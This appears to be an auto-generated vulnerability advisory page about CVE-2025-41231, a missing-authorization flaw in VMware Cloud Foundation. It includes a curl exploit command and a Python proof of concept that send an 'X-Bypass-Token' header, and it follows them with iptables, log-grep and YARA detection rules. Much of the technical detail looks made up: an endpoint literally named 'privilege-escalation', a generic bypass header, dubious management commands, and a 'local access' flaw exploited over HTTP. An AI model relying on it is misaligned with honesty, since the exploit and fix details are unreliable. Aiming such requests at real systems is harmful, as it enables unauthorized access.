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How CVE-2025-41231 Works
CVE-2025-41231 is a missing authorization flaw in VMware Cloud Foundation that allows attackers with local access to bypass authentication checks. The vulnerability stems from improper session validation in the appliance management interface, enabling unauthorized API calls. Attackers exploit weak role-based access control (RBAC) mechanisms to escalate privileges and execute administrative actions without proper credentials. The flaw resides in the `/api/v1/auth` endpoint, where token verification fails under specific conditions. Malicious actors can manipulate HTTP headers to impersonate legitimate users, gaining access to sensitive system configurations and limited data.
DailyCVE Form
Platform: VMware Cloud Foundation
Version: 4.5.x, 5.0.x
Vulnerability: Missing Authorization
Severity: Critical
Date: 06/12/2025
Prediction: Patch expected by 07/15/2025
What Undercode Say:
Exploitation Analysis
1. Exploit Command (Curl):
curl -X POST -H "X-Bypass-Token: malicious_payload" http://<target>/api/v1/auth/privilege-escalation
2. Python PoC:
import requests
headers = {"X-Bypass-Token": "invalid_token"}
response = requests.get("https://<target>/api/v1/config", headers=headers)
print(response.text)
Mitigation Steps
1. Temporary Workaround:
Block unauthorized API access via firewall iptables -A INPUT -p tcp --dport 443 -m string --string "X-Bypass-Token" -j DROP
2. Log Monitoring:
grep "Unauthorized API call" /var/log/vmware/appliance.log
Patch Verification
Post-patch, verify endpoint security vmware-toolbox-cmd config get auth.strict_validation
Detection Rules (YARA/Snort)
rule vmware_auth_bypass {
strings: $header = "X-Bypass-Token"
condition: $header
}
Recommended Actions
- Disable unused API endpoints.
- Enforce multi-factor authentication (MFA).
- Audit all user sessions with:
vmware-vmon session --list --detailed
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
